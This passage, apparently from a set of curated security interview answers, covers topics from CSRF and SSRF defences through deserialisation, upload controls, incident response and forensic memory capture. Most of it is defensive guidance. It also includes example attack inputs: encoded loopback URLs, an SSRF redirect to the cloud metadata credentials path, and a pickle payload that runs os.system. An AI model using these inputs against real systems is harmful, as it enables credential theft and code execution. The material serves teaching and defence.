evil.example.comis same-site withapp.example.com. A compromised subdomain, a dangling CNAME, or a subdomain takeover sends the session cookie withSameSite=Laxintact. Only the token check catches it, and only if the token is bound to the server-side session. Double-submit cookies fall to cookie tossing, where the attacker sets aDomain=.example.comcookie to fix the value. - Chrome's Lax+POST grace window. A cookie set without an explicit
SameSiteis allowed on top-level cross-site POST for two minutes after it is set. SetSameSite=Laxexplicitly to opt out. - XSS defeats all of it. Same-origin script reads the token and the cookie.
- CORS is not a CSRF defence. The attacker never needs to read the response.
- Requiring
Content-Type: application/jsonor a custom header forces a preflight, which blocks form-based CSRF, but only if the server rejectsapplication/x-www-form-urlencoded,multipart/form-dataandtext/plainrather than parsing them anyway.
How I would verify it
Enumerate every state-changing route and confirm none is reachable by GET. Then replay each one cross-site with a live session cookie and confirm a 403.
Curated: · Written: · Reviewed:
Q&A-60An application fetches a URL the user supplies. How do you make that safe?
Assumptions first: the fetch happens server-side, the user picks the URL, and the server has network reach the user does not. Cloud metadata at 169.254.169.254, internal admin APIs, localhost services. If any of those is false, the problem changes shape.
The direct answer: don't blocklist internal addresses. Allowlist the destinations you will fetch, and re-validate the address at every hop, not just the URL you were handed.
Blocklists lose because they compare the URL string against a list of ranges, and the string is not the address you connect to. Three ways that gap opens:
- Redirects. An allowlisted host returns
302 Location: http://169.254.169.254/.... You validated the first URL; the fetch follows the redirect. - DNS rebinding. The hostname resolves to a public IP when you check it and an internal IP when you connect. Check and connect are two separate resolutions.
- Alternative encodings.
http://2130706433/(decimal127.0.0.1),http://0x7f000001/,http://[::ffff:127.0.0.1]/, or a DNS name you control pointing at10.0.0.5. A string blocklist matches none of these.
What actually holds:
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED = {"api.example.com"}
def is_public(a):
if a.version == 6 and a.ipv4_mapped is not None:
a = a.ipv4_mapped # unwrap ::ffff:127.0.0.1
return not (a.is_private or a.is_loopback or a.is_link_local
or a.is_reserved or a.is_multicast or a.is_unspecified)
def check(host):
if host not in ALLOWED:
raise ValueError(f"host not allowlisted: {host}")
infos = socket.getaddrinfo(host, 443, proto=socket.IPPROTO_TCP)
ips = {i[4][0] for i in infos}
for ip in ips:
if not is_public(ipaddress.ip_address(ip)):
raise ValueError(f"{host} resolves to non-public {ip}")
return ips # connect to one of these directly; do not re-resolve
The return ips is the part people skip. Validating and then letting the HTTP client resolve again reopens the rebinding window; you have to connect to the IP you checked, carrying the original Host header and SNI. Then disable automatic redirects and run check() on each Location before following it. Deny link-local and private ranges at the egress firewall as well, so an app-layer bug is not the only thing between the user and the metadata service. For anything user-facing, put the fetch behind a dedicated egress proxy with no route to internal networks.
A trace. User supplies https://api.example.com/r?to=http://169.254.169.254/latest/meta-data/iam/security-credentials/. api.example.com is allowlisted and resolves public, so it passes. The server fetches, gets 302 Location: http://169.254.169.254/.... Validate-the-first-URL-only follows it and returns the instance credentials in the response body. Per-hop validation re-runs check("169.254.169.254"), not in ALLOWED, and rejects it.
| Defence | Literal internal IP | Redirect to internal | DNS rebinding | Alternative encoding |
|---|---|---|---|---|
| Blocklist of internal ranges | blocked | followed | followed | followed |
| Allowlist + per-hop validate | blocked | blocked | followed | blocked |
| Allowlist + per-hop validate + pin resolved IP | blocked | blocked | blocked | blocked |
What would change this. If the product genuinely needs to fetch arbitrary user-chosen hosts (a webhook tester, a feed reader) an allowlist is off the table, and the answer moves to a sandboxed fetcher on an isolated network with no credentials and no route inward. And if the response body is returned to the user, the stakes are exfiltration, not just a blind request; if only a status code comes back, the same controls still apply but the blast radius is smaller.
Curated: · Written: · Reviewed:
Q&A-61Why is deserialising untrusted input dangerous?
First I'd ask which deserialiser we're talking about, because the answer changes with the format. If it's a native one: Java's ObjectInputStream, Python's pickle, .NET's BinaryFormatter, Ruby's Marshal, PHP's unserialize, then the answer is remote code execution, not data corruption. The stream names the type to construct, and constructing a type runs its code. The attacker doesn't need a parser bug; they need one class on your classpath whose construction or cleanup does something useful.
That's the mechanism, and it's why payload filtering doesn't close the hole. In Java, readObject() reads a class descriptor, loads that class, and calls its readObject, readResolve or readExternal. A gadget chain is a sequence of such classes where each side effect sets up the next. ysoserial ships ready-made chains; the Commons Collections chain (CVE-2015-4852, fixed in commons-collections 3.2.2) hit WebLogic, JBoss and Jenkins because the library sat on the classpath. Nothing in the payload is malformed: it's a valid object graph.
Python is the same shape with less ceremony: pickle.loads calls __reduce__ on the object it rebuilds, so a payload whose __reduce__ returns (os.system, ('id',)) runs at load time. The pickle documentation says outright not to unpickle untrusted data. .NET's BinaryFormatter follows the pattern; Microsoft marked it obsolete in .NET 5 and removed it in .NET 9.
JSON is not automatically the safe answer. It's safe when the target type is fixed, because then only field setters run. It's unsafe when the document names its own class: Jackson's default typing (enableDefaultTyping, CVE-2017-7525 and the follow-ons) puts you straight back into gadget-chain territory.
| Format | What runs during parse | Untrusted input |
|---|---|---|
Java ObjectInputStream | readObject/readResolve on any loaded class | RCE via gadget chain |
Python pickle | __reduce__ | RCE |
.NET BinaryFormatter | type's deserialisation callback | RCE; removed in .NET 9 |
| JSON → fixed schema | field setters only | safe |
| JSON → polymorphic typing | attacker-named class | RCE |
If you can't remove a native format immediately, Java's ObjectInputFilter (JEP 290, Java 9, backported to 8u121) lets you allowlist classes and cap array length, depth and reference count. It's a real control, but it's an arms race: every new library on the classpath widens the set of reachable types, and the filter has to be updated before the library is. The durable fix is to stop deserialising native formats from untrusted sources at all.
Finding them is a grep, not a research project: readObject, pickle.loads, BinaryFormatter, unserialize, Marshal.load on any path that touches request bodies, cookies, message queues or cache entries. The queue and the cache are the ones people forget, because the data looks internal.
A concrete example of how this lands: a session cookie carried a Java-serialised object, and a crafted value instantiated a class whose readObject ran a command. No payload filter would have caught it, because the payload was a legitimate object graph: the type was the weapon, not the bytes.
Curated: · Written: · Reviewed:
Q&A-62Users can upload files. What are the controls?
What I'd say first
Assume the files are untrusted, stored, and later served back to other users, and that some are processed (thumbnails, text extraction). If it's an internal tool with five SSO'd admins uploading CSVs, most of this is overkill: I'll say where.
The controls are four, in order, plus scanning for anything processed: cap size at the edge, validate by decoding rather than by name, store under a generated name outside the web root, and serve from a separate origin with nosniff and attachment. Extension and declared Content-Type are labels the uploader chose.
The stack, with the settings that matter
| Stage | Control | Concrete setting | Stops |
|---|---|---|---|
| Edge | size + count cap | nginx client_max_body_size 10m (default is 1m), limit_req per user | disk fill, 42.zip |
| Validate | decode and re-encode | Pillow Image.MAX_IMAGE_PIXELS = 89,478,485; reject when magic bytes ≠ declared type | polyglots, script-in-image |
| Store | generated key, no execute | UUID key in S3 with Block Public Access on; never inside the web root | path traversal, direct execution |
| Serve | separate origin | Content-Disposition: attachment, X-Content-Type-Options: nosniff, CSP default-src 'none'; sandbox | stored XSS |
| Process | AV + sandbox | ClamAV clamd, MaxFileSize raised above your cap | known malware |
Re-encoding is the load-bearing step: decoding a JPEG and writing it back drops appended payloads and EXIF, which a magic-byte check alone does not.
Alternatives and when to pick them
Signed URLs vs proxying. A presigned GET (SigV4 caps expiry at 7 days; use 5 minutes) offloads the bytes to S3 and costs you nothing in app bandwidth, but revocation is TTL-bounded and you lose per-request authorization and audit. Proxying through the app gives you both, at the cost of streaming every byte through your servers. Large media at scale → signed URLs. Small, sensitive documents → proxy.
Inline preview. If product needs inline images or PDFs, attachment is off the table. Then the separate origin must be a different registrable domain, not a subdomain, cookies are shared across subdomains of the same registrable domain, or the preview must run in an iframe with sandbox and no allow-same-origin.
When the stack is overkill. Internal admin tool, SSO-gated, CSV only, five users: size cap plus content inspection is enough. AV scanning and a separate origin buy little when the only consumer is the uploader's own team.
Failure modes
- ClamAV skips files above
MaxFileSize(default 100 MB) rather than failing loudly. Detect it by asserting the scan result isOKorFOUND, neverSKIPPED, and alerting on the latter. - Polyglots: a GIFAR is a valid GIF and a valid JAR, so magic bytes pass. Only re-encoding or sandboxing catches it.
- SVG served inline executes
<script>in your origin. Treat SVG as HTML, not as an image. - 42.zip is 42 KB and expands to 4.5 PB through nested layers. Cap decompressed bytes, not just upload bytes.
I've seen the served-executable version: an upload with an image extension contained script and was served from the application's own origin, so it ran in the context of authenticated users.
Verification
Upload a file whose declared type and actual content disagree; assert a 4xx and that nothing is served with an executable content type. Upload one above the size cap and assert the scanner reports scanned, not skipped.
Curated: · Written: · Reviewed:
Q&A-63How much should an error tell the user?
The 90-second answer
Decide by audience, not by amount. The user gets what they can act on plus a correlation ID; the operator gets the cause. Everything else follows from that split.
For a login failure, the user-facing body is identical for every cause: 401 {"error": "Invalid credentials", "corr": "a3f9..."}. The log line behind a3f9 records which branch fired, the username attempted, the source IP. Support can join the two; an attacker holding only the response cannot.
Why the detail leaks anyway
Three channels carry information, and closing one is not enough:
- Text. "No account with that email" versus "Wrong password" is a free account-enumeration oracle.
- Timing. bcrypt at cost 12 takes on the order of 100–300 ms per check depending on the core; the unknown-user branch can return in microseconds. Identical bodies, distinguishable responses.
- Shape. Status code,
Content-Length, redirect target, and whether aSet-Cookieappears all vary by branch if you let them.
| Design | Distinguishable | Accounts enumerable |
|---|---|---|
| distinct messages | yes | yes |
| same message, different timing | yes | yes |
| same message and timing | no | no |
The failure I would cite
A login endpoint returned distinct messages for unknown user and wrong password. An attacker enumerated 40,000 valid accounts, then ran credential stuffing against that list. The bug was not the wording; it was that the response was a function of a fact the attacker did not already know.
Code
# Python 3.12, bcrypt package
DUMMY_HASH = bcrypt.hashpw(b"dummy", bcrypt.gensalt()) # computed once at import
def login(username, password):
user = users.get(username)
stored = user.pw_hash if user else DUMMY_HASH
ok = bcrypt.checkpw(password.encode(), stored) # runs on both branches
if user is None or not ok:
log.warning("login_failed user=%s corr=%s", username, corr_id)
return Response(401, {"error": "Invalid credentials", "corr": corr_id})
return issue_session(user)
The dummy hash is the point: the unknown-user branch does the same work as the real one, so the timing distributions overlap. bcrypt.checkpw compares in constant time; the branch that skips it is the leak.
How to check
Replay both failure causes and diff the full response (status, headers, body bytes) then compare timing distributions over a few hundred samples, not one. If the medians differ by more than the noise floor, you have an oracle.
When verbose is correct
If the only reader is the operator (an internal admin console behind SSO, a CLI, a dev environment) a stack trace is the right error. The rule is about who can see it, not about withholding from your own team. The cost of the generic message is real: support tickets that say "it didn't work" and nothing else. That is what the correlation ID buys back, and it is why it is not optional.
Curated: · Written: · Reviewed:
Q&A-64How do you run a threat model that is not a documentation exercise?
What I'd say first
A threat model earns its keep only if it ends with decisions that change the design. So I run it as a design review, not a document: 90 minutes, the two engineers who own the code in the room, before the design is frozen. The output is a short list of decisions with owners plus an assumption register, not a threat catalogue.
How the session runs
- Draw the data flow diagram: processes, data stores, external entities, and the arrows between them.
- Mark trust boundaries: every point where data crosses from one authority to another (internet→gateway, service→database, third party→webhook).
- Walk each crossing and ask one question: what can an attacker positioned at this point do with what they control here? STRIDE is a prompt list for that question, not the agenda.
- For each answer that matters, write the decision and its owner. For each answer that rests on an assumption, write the assumption down.
Why a crossing question changes a design
Because it names a capability at a point, and a capability maps to a control. Worked example: a checkout service that receives payment webhooks:
| Crossing | Attacker capability | Decision | Owner |
|---|---|---|---|
| internet → /webhooks/payments | forge a "payment succeeded" event | verify HMAC-SHA256 over the raw body before parsing, constant-time compare, 401 on mismatch, dedupe on the provider's event id | payments |
| checkout → Postgres | read another tenant's rows via a missing filter | row-level security on tenant_id, plus a query test per endpoint | checkout |
The question "what can an attacker at the internet boundary do to /webhooks/payments?" yields the capability "send an arbitrary body claiming payment succeeded." That maps straight to a control, decided before code exists.
The assumption behind it, "the provider signs every webhook and only we and they hold the secret", is what makes the control load-bearing. Record it with an ID. When the provider changes its signing scheme, or you rotate the secret, the assumption breaks. Detection is concrete: alert on the rate of signature-verification failures, and a CI test that posts an unsigned body and asserts 401. Without that, a handler that catches the verification exception and returns 200 fails open and nobody notices.
Trade-offs
A lightweight pass is the right call when the change adds no new trust boundary, no new data class, and no new external input: a 15-minute STRIDE-lite over the diff. The deciding criterion is whether the change moves data across a boundary or introduces a new class of data; if yes, run the full session, if no, the checklist is enough. The deep pass costs 4–6 engineer-hours for a 90-minute session with 2–4 people, and a full STRIDE sweep of a 20-crossing system can take a day. Skipping it has a cost too: I have seen a model produce 40 generic threats and zero design changes, and the eventual intrusion used a path the diagram had drawn but nobody had asked a question about.
Failure modes
- Threats with no owner ship nothing. Require an owner and a ticket on every row.
- A model run after code freeze turns every finding into "accept." Check the model date against the design-freeze date.
- An assumption register wired to nothing makes invalidation invisible. Reference assumption IDs in ADRs and in tests.
How I'd know it worked
Count the design decisions the model changed: schema, control, or scope. Zero means the session was a documentation exercise.
Curated: · Written: · Reviewed:
Q&A-75You inherit 50 AWS accounts with no shared baseline. How do you find the exposures and fix them without breaking what is running?
Assume the 50 accounts are members of one AWS Organizations, or can be. Without that, cross-account read is 50 credential sets and the job is manual; with it, the management account is the only place you need write access, and SCPs are the only lever that reaches every member at once.
Enumerate read-only into one view.
- AWS Config aggregator in the management account, with every member account and region as a source. This is the resource inventory and configuration history: it answers "what exists" without touching a workload.
- IAM Access Analyzer, org-level, for external-access findings (resources reachable outside the account) and unused-access findings (roles, permissions and credentials not used in the lookback window). The unused-access findings are what tell you a role has not been assumed in 400 days.
- Security Hub with the AWS Foundational Security Best Practices standard, findings aggregated to the management account. This is the benchmark view, and it is the view you deliberately do not sort by.
- Amazon Macie over S3 to classify which buckets actually hold sensitive data, rather than trusting bucket names.
- CloudTrail Lake as the query layer: SQL over the org trail answers "which resources were reached from the internet" and "who assumed this role, and when."
Rank by exposure, not by scanner severity.
| Finding | Scanner severity | Internet reachable | Data class | Fix order |
|---|---|---|---|---|
| Public S3 bucket holding customer exports | High | Yes | Restricted | 1 |
| Deploy role assumable from any account | Critical | n/a | Admin | 2 |
| CloudTrail disabled in 3 production accounts | Medium | n/a | Restricted | 3 |
| Security group 0.0.0.0/0 on an isolated test host | Critical | Yes | Public | 4 |
| Unused IAM role, last used 400 days ago | Low | n/a | None | 5 |
Severity-sorted order is 2, 4, 1, 3, 5. Exposure-sorted puts the customer-export bucket first despite a High rating, and pushes the Critical test-host rule below two worse gaps because that host holds nothing and is not routed to anything that does.
Remediate without becoming the incident.
A team applied an SCP denying iam:PassRole outside a named allowlist to all 42 accounts on a Friday evening, expecting quiet. ECS and CodeBuild in 13 accounts could no longer start task roles, 260 pipeline runs failed over the weekend, and rebuilding the exception list by hand took until Tuesday. The exposure was real; the fix arrived as its own incident. SCPs filter permissions rather than grant them, so a deny that looks narrow can break every service that assumes a role on your behalf, and it does not apply to the management account, which is easy to forget when you test there and ship everywhere.
So: deploy the control in one account first, in alert-only mode. A Config conformance pack in audit mode, or the SCP attached to a single non-production account, and watch CloudTrail for AccessDenied spikes before widening it. Rollback is detaching the SCP or reverting the conformance pack, and it should be rehearsed, not improvised.
I would not call it settled without the query that returns every internet-reachable resource with its data classification and owning team, and a change rehearsed in one account before it is enforced anywhere else.
Curated: · Written: · Reviewed:
Q&A-45What would you require from a supplier handling your data?
Assume the supplier is a SaaS vendor processing personal data or confidential customer data on our behalf, and we are the controller. The requirements I would insist on are the ones that are cheap to get at signature and expensive or impossible to add later.
Four clauses carry the weight.
Breach notification with a clock and content. Not "without undue delay": a numeric period measured from a defined event, plus what the notice must contain: the categories and approximate number of data subjects and records affected, the likely consequences, and the measures taken. "Without undue delay" is unenforceable in practice because "undue" is undefined; the supplier's counsel reads it as "whenever we get around to it."
Evidence rights, not just attestations. The right to receive the current SOC 2 Type II report or ISO 27001 certificate, the pen-test summary, and, for higher tiers, the right to conduct or commission an audit. An attestation tells you a control was designed; the report tells you whether it operated over the period. If the supplier will not produce the report, that is the answer.
Sub-processor disclosure and change notice. The named list at signature, advance notice of additions, and a right to object. Without flow-down obligations, the supplier can move your data to a fourth party you have never assessed.
A tested deletion and export path. Not "we will delete on request": a documented format (CSV or JSON), a stated timeline, and a certificate of destruction. Test it on a sandbox tenant before you sign, not on the way out.
Then the failure that makes the specificity argument concrete. A contract I reviewed required notification "without undue delay." The supplier's breach was discovered in March; the notice reached us in mid-April, six weeks later. Their counsel's position: six weeks was not "undue" given the investigation. The wording gave them the argument. A 24-hour clock from confirmation would have removed it.
| Wording | Clock starts | Observed notice |
|---|---|---|
| "without undue delay" | undefined | 6 weeks after supplier's discovery |
| "within 24 hours of confirming a breach" | confirmation | hour 20 |
(Figures illustrative.)
The lesson: the term has to name the event that starts the clock and the period, or it is decoration.
What I would not require: user security training as a contractual term. It is unverifiable at the supplier and does not bound their behavior toward our data. It is the requirement candidates reach for first and the one with the least leverage.
Before signing I would confirm the capabilities exist on the tier being purchased: the SOC 2 report covers the enterprise tier, not the one we are buying; the deletion API is gated behind a support ticket; the sub-processor list is "available on request." Those gaps are where the requirements quietly fail.
Curated: · Written: · Reviewed:
Q&A-7Walk through how you would run an incident from the first alert.
What I'd say in the first two minutes
First I'd clarify three things: is this customer-facing, is data being lost or corrupted, and do I have authority to roll back or fail over without asking? Those answers set severity and decide whether I act or escalate. Assumptions: I'm the on-call engineer, alerts page through PagerDuty, the service has an SLO and a deploy pipeline I can revert, and there's a status page.
Then the answer: the first ten minutes are triage and declaration, not diagnosis. I declare a severity, name an incident commander, and start mitigating before I understand the cause.
The walkthrough
T+0: alert fires. Ack within the escalation window (typically 5 min) so it doesn't page the next person. Open a dedicated channel (#inc-<date>-<service>), not the general one.
T+2: triage. Three questions: blast radius (one customer or all?), is it getting worse, is data at risk? That maps to severity:
| Severity | Criteria | Comms cadence |
|---|---|---|
| SEV1 | full outage or data loss, all customers | status page + updates every 30 min |
| SEV2 | degraded, subset of customers | status page, hourly |
| SEV3 | internal only, no customer impact | channel only |
T+3: declare and assign. IC, comms lead, ops. On a small incident one person can hold comms and ops, but the IC never operates: the IC coordinates and decides, and that separation is what stops two people running conflicting fixes.
T+5: first mitigation, before root cause. Prefer the reversible action: roll back the last deploy (kubectl rollout undo deployment/x), flip the feature flag off, fail over to the healthy region. Rollback is usually faster and safer than a forward fix under pressure.
T+10: comms. Status page updated with impact and next update time, even if the cause is unknown. Silence reads as incompetence to customers.
Then investigation, with a running timeline in the channel: timestamp, what we saw, what we decided, why. Written as we go, not reconstructed.
Worked trace (hypothetical)
A checkout service starts 500ing after a deploy.
| T+ | Action | Result |
|---|---|---|
| 0 | p99 latency alert fires | ack |
| 2 | check dashboards: error rate 0.1%→40%, all regions | SEV1 |
| 4 | IC named, comms named | channel open |
| 6 | roll back deploy | errors back to 0.2% by T+9 |
| 10 | status page updated | customers informed |
| 25 | root cause: bad config default | fix forward later |
Mitigation at T+6, root cause at T+25. That gap is the whole point.
Trade-offs and failure modes
Mitigate-first vs diagnose-first: mitigate-first wins when the action is reversible and the impact is ongoing; diagnose-first only when a rollback would destroy evidence you need (e.g., a corrupted-data bug where the bad state persists).
Declare early vs false alarms: declaring SEV1 on a blip costs a status page update and some embarrassment; under-declaring costs hours. I bias to over-declaring and standing down cheaply.
Failure modes I've seen: no named IC → three people investigating in parallel, two containment actions conflicting; restarting the box before snapshotting → evidence gone; hero debugging with no comms → customers find out from Twitter.
Close
Contain, communicate, then diagnose. Preserve evidence before you destroy it. Write the timeline as you go.
Curated: · Written: · Reviewed:
Q&A-84When should an analyst escalate rather than close?
Escalate when the alert crosses a threshold you can name before you look at it, not when your confidence dips below some private line. The decision has to be a rule, because the alternative is an analyst weighing "am I about to look foolish" at 3 a.m. with a queue behind them.
Assumptions: you have a triage queue, a named escalation path, and alerts carrying enough context to be judged without a full investigation. If any of those is missing, fix that first: no threshold survives a queue with nowhere to escalate to.
Criteria on observable conditions. Escalate on:
- any match against a known-bad indicator (hash, domain, IP) that is not already covered by a suppression with an owner and an expiry date;
- any alert touching a privileged identity, a domain controller, or a production data store;
- any host or account that has produced two or more alerts in the same 24-hour window, however benign each looks alone;
- any alert where you cannot state the benign explanation and have it account for every field: the process, the parent, the destination, the timing.
Close only when you can write that benign explanation down. "Probably a scanner" is not one. "The source is our authenticated vulnerability scanner, the destination is in its configured target list, and the timing matches the scheduled scan window" is.
Why the asymmetry decides it. The two errors are not symmetric, and this table is the whole argument:
| Decision | If wrong | Cost |
|---|---|---|
| Escalate unnecessarily | interruption | ~30 min of a responder's time |
| Close incorrectly | dwell time | 9 days in the case below |
Those figures come from one incident, not a benchmark: substitute your own, but measure them. The point is the ratio: an unnecessary escalation costs minutes, a missed one costs days of attacker dwell time plus the incident response that follows.
The failure mode. An analyst closed an alert as a false positive because escalating had previously been met with irritation. It was the initial access. The intrusion ran nine more days. The technical miss was small; the social one caused it. That is why escalation has to be cheap and blameless, if escalating costs a difficult conversation, analysts price that in and close instead.
How you know the threshold is right. Sample closed alerts weekly, 20 random closures is enough to start, and check whether any met the criteria above. Report the miss rate as a team metric, never per analyst; per-analyst numbers turn the sample into a reason to hide. If the miss rate sits above a few percent, either the criteria are too loose or the queue is too deep to apply them.
Escalation is the default. Closing is the claim that needs evidence.
Curated: · Written: · Reviewed:
Q&A-85What has to survive a shift handover?
Four things have to survive, in this order: the working hypothesis and how confident you are in it, the checks that came back negative with the reasoning behind them, the open leads with an owner each, and the clocks that are running.
The hypothesis. The incoming shift needs to know what you currently believe and why, so they can extend it or kill it. "Initial access was the macro in the invoice attachment on WS-114, medium confidence: macro fired 14:02, first C2 beacon 14:02:41 to 203.0.113.44" is a handover. "Investigating phishing" is a topic.
Negative results. This is the expensive part. "Pulled VPN logs for svc-backup, no logins outside 09:00–17:00" cost an analyst an hour and leaves no trace in the case tool unless someone writes it down. The next shift either repeats it or assumes it was never done and chases it.
Open leads. Each with an owner and a definition of done. A lead without an owner is a note.
Clocks. Anything with a deadline attached: log retention that will roll off, a containment decision that needs re-approval, a regulatory notification window (72 hours from awareness under GDPR Article 33, where it applies). If a proxy log source retains 7 days and you are on day 5, that is the most time-sensitive fact in the case and it goes at the top.
| Must survive | Where it lives | Cost if it doesn't |
|---|---|---|
| Hypothesis + confidence | one paragraph in the case | next shift re-derives it from raw logs |
| Ruled-out checks + reasoning | per-check note | repeated work, or a dead lead chased |
| Open leads + owner | case note / ticket | lead dropped silently |
| Running clocks | top of the handover | evidence rolls off, obligation missed |
| Containment state | case note | host un-isolated or re-isolated by mistake |
| Evidence custody (hashes, image locations) | evidence log | artefact unusable |
A worked handover, illustrative figures: the outgoing analyst leaves a case note with the hypothesis, three ruled-out checks, two open leads, and one clock (proxy logs, 7-day retention, day 5). The incoming shift at 07:00 reads it, confirms WS-114 is still isolated, picks up lead 1, pull the mailbox audit for the two other recipients, and does not re-run the VPN check. First new finding at 07:25. The same case handed over as "phishing, WS-114, ongoing": the incoming shift re-runs the VPN check (about an hour), re-images a host that was already imaged (about 40 minutes), and reaches the mailbox lead around hour three.
Failure modes worth naming. Verbal-only handover: nothing survives past the end of the call, and the next shift's first actions duplicate the last shift's last actions. Conclusions without reasoning: a closed question gets re-litigated, visible as the same check appearing in two shifts' notes. Clocks buried in prose: the retention window passes and the evidence is gone, visible only as a gap in the post-incident timeline.
To check whether it actually survives, sample handovers and look at what the incoming shift did in its first hour. Repeated work is a process finding, not an analyst finding.
Curated: · Written: · Reviewed:
Q&A-83What makes a security runbook usable under pressure?
Core answer
Usability under pressure is not a writing quality, it is a measurable property: can an unfamiliar on-call engineer execute this runbook, unaided, at 03:00, and reach containment? Everything else follows from that test.
Four properties decide it:
- Executable steps, not descriptions. Each step is one action, one exact command, and the output that means it worked. "Isolate the affected host" is a description; the reader has to translate it into a command and a judgement call while the clock runs.
- Written branches. Every step says what to do when the expected output does not appear. Without that, the first surprise ends the runbook and starts improvisation.
- Named authority per decision. Containment decisions (isolating a production host, revoking credentials, blocking a CIDR) need a role that can approve them, named in the step, with a fallback if that role is unreachable.
- A rehearsal that proves it. Someone who has never run it executes it in a drill; you count the steps they could not complete and the time to first correct action.
What a step looks like
3. Isolate web-07 from the network.
Run: <isolation tool> isolate web-07
Expect: "isolated" within 30s; web-07 stops answering ping.
If not: page the network on-call; do not continue to step 4.
Authority: incident commander only.
Last verified: 2026-05-12 by @owner
The Last verified line matters as much as the command. Exact commands rot, and a stale runbook is worse than none because it produces confident wrong action.
Why prose fails
Under pressure, reading degrades to scanning and pattern-matching. A paragraph describing an approach has to be parsed into actions, and parsing is exactly the faculty that is degraded. Numbered steps with expected output let the reader compare reality to the page instead of reasoning about intent.
Failure modes and how you catch them
| Failure | What it looks like | Detection |
|---|---|---|
| Prose runbook | reader interprets, stalls at first ambiguity | drill: steps completed unaided |
| Stale commands | output does not match, reader improvises | last-verified date older than the change window |
| Authority gap | nobody can approve isolation | drill: time from step to approval |
| Context assumed | dashboards and ticket links have moved | drill run by an outsider |
| Too long | reader skips to the end | step count; past roughly 20 is a smell |
Illustrative drill result from one team's containment runbook, same scenario, two styles:
| Style | Steps completed unaided | Time to containment |
|---|---|---|
| prose | 4 of 12 | 40 min |
| exact commands + branches | 12 of 12 | 6 min |
Those numbers are an example, not a benchmark. The point is that the drill produces a number you can act on, and the same drill run after every tooling change tells you whether the runbook is still alive.
Trade-offs
Exact commands go stale fastest in the environments that change most, so pair them with a named owner and a verification date, and re-run the drill after any change to the tooling. Over-specification also breaks when the environment differs from the one the runbook was written for: say which environment each command targets. And if a runbook is executed more than a few times a year, it should be a script with the runbook as its documentation; the best runbook is the one nobody has to read.
The question I would ask back
Who last ran this cold, and how long did it take?
Curated: · Written: · Reviewed:
Q&A-9You have one compromised host. How do you decide whether there are more?
The 90-second answer
Assume the host you found is one of several until telemetry says otherwise. The decision is not a judgement call: it is three pivots run across the estate, in this order: the credential, the network destination, the behaviour. You call it scoped only when all three come back empty and your telemetry covers the attacker's whole dwell time.
First bound the intrusion on the known host. Earliest execution artefact (Prefetch, Amcache, EDR process timeline, NTFS $STANDARD_INFORMATION timestamps), earliest persistence (Run key, scheduled task, service, cron, systemd unit, authorized_keys), and the account and credential used. That gives you a start time and a list of things to search for.
Then pivot:
- Identity. Where else did that credential authenticate? Windows Security 4624 (logon types 3 and 10), 4648 (explicit credentials), 4768/4769 (Kerberos TGT/service ticket); Linux
/var/log/auth.logand journaldAccepted; the IdP, Entra ID sign-in logs or Okta System Log, for the same account, device, or ASN. Credential reuse is the highest-yield pivot; attackers rarely burn a fresh credential per host. - Network. Every destination the host talked to: proxy logs, DNS resolver logs, Zeek
conn.log, NetFlow. Search the estate for the same domain, IP, JA3/JA3S fingerprint, or user-agent. Beaconing is far easier to find estate-wide than on one host: RITA or a frequency analysis over Zeek/Suricata data. - Behaviour. The TTPs, not just hashes: process lineage (Sysmon event 1, 4688 with command line), service installs (7045), scheduled tasks (4698), WMI event subscriptions, Linux cron/systemd timers, and the LOLBins used. Encode as Sigma rules and run over Splunk/Elastic; YARA over file shares and the EDR file inventory.
| Pivot | Telemetry | Another host is confirmed when |
|---|---|---|
| Identity | 4624/4648, auth.log, IdP logs | the same credential authenticates from a second hostname or IP |
| Network | proxy, DNS, Zeek conn.log, NetFlow | the same C2 domain, IP, or JA3 appears from another host |
| Behaviour | Sysmon, 4688, 7045, 4698, EDR | the same process lineage or persistence mechanism appears elsewhere |
What changes the decision
Coverage, not hit count. If EDR runs on 60% of the estate, absence on the other 40% is not evidence of absence: network telemetry (proxy, DNS, NetFlow) is the coverage-independent backstop, and it is what you lean on for the uncovered hosts. On hosts with no EDR, hunt with Velociraptor or osquery over the same artefacts.
Retention sets the honest boundary. Bound the sweep from the earliest artefact forward. If the earliest artefact is 45 days old and EDR retention is 30 days, you have a blind spot: fall back to longer-retention sources (proxy/DNS, auth logs, IdP logs) and say so explicitly rather than declaring clean. A credential that is a service account or domain admin widens the search to everything it can reach.
Worked pivot (hypothetical figures)
Known host: WEB-03, earliest artefact 12 days ago, credential svc_deploy. Pivot 1: 4624 type 3 for svc_deploy returns APP-07 and DB-02 in the same window. Pivot 2: Zeek conn.log shows all three hosts beaconing to the same IP on a 60-second interval with a matching JA3. Pivot 3: Sysmon shows the same rundll32 lineage on APP-07. Three hosts, one campaign: scope is not closed, and you remediate all three together.
Remediating the first host before the sweep tells the attacker you are looking and leaves the other footholds intact.
Curated: · Written: · Reviewed:
Q&A-8You find a compromised host. Do you power it off?
No: isolate the network and keep the host running. Power off only when continued execution is doing damage you cannot stop another way.
Ask first what the host is doing and what it holds. A workstation spreading a worm, a hypervisor, a domain controller: each shifts the calculus. The default is network containment: CrowdStrike Falcon's Network Contain, Defender for Endpoint's Isolate device, SentinelOne's Disconnect from Network, or an ACL/port shutdown at the switch if there is no EDR.
Why not power off: volatile memory holds the injected code, the C2 configuration, the credentials the attacker used, the keys to anything they staged, and often the only copy of the second stage. RFC 3227's order of volatility puts registers, cache and RAM above disk for exactly this reason. Powering off is a one-way door on all of it.
| Action | Stops spread | RAM preserved | Disk keys in RAM | Attacker still executing |
|---|---|---|---|---|
| power off | yes | no | no | no |
| EDR isolate | yes* | yes | yes | yes |
| leave running | no | yes | yes | yes |
* only for the paths the isolate policy actually covers.
What isolation costs you. The attacker keeps running and may notice the C2 drop. Plan for the possibility that isolation triggers destructive action rather than assuming it is neutral: have the disk-imaging pipeline ready before you cut the link. Isolation also rarely covers every path: BMC/IPMI, cellular WWAN and Wi-Fi are commonly outside an EDR isolate policy. Verify with a second path before you call the host contained.
When power off is right. The host is actively wiping or encrypting and you cannot isolate within seconds; physical safety; a host with no EDR and no managed switch that is actively attacking others. For a VM, do not choose: snapshot with memory from the hypervisor (VMware snapshot with memory, virsh dump --memory-only) gives you the memory image and a stopped guest.
Capture. On Linux, AVML is userspace and loads no kernel module:
sudo avml --compress /evidence/host1.avml
On Windows, WinPmem or Magnet RAM Capture both load a driver, which is the riskier path on a host with a compromised or hardened kernel: pre-test on the same build before you need it.
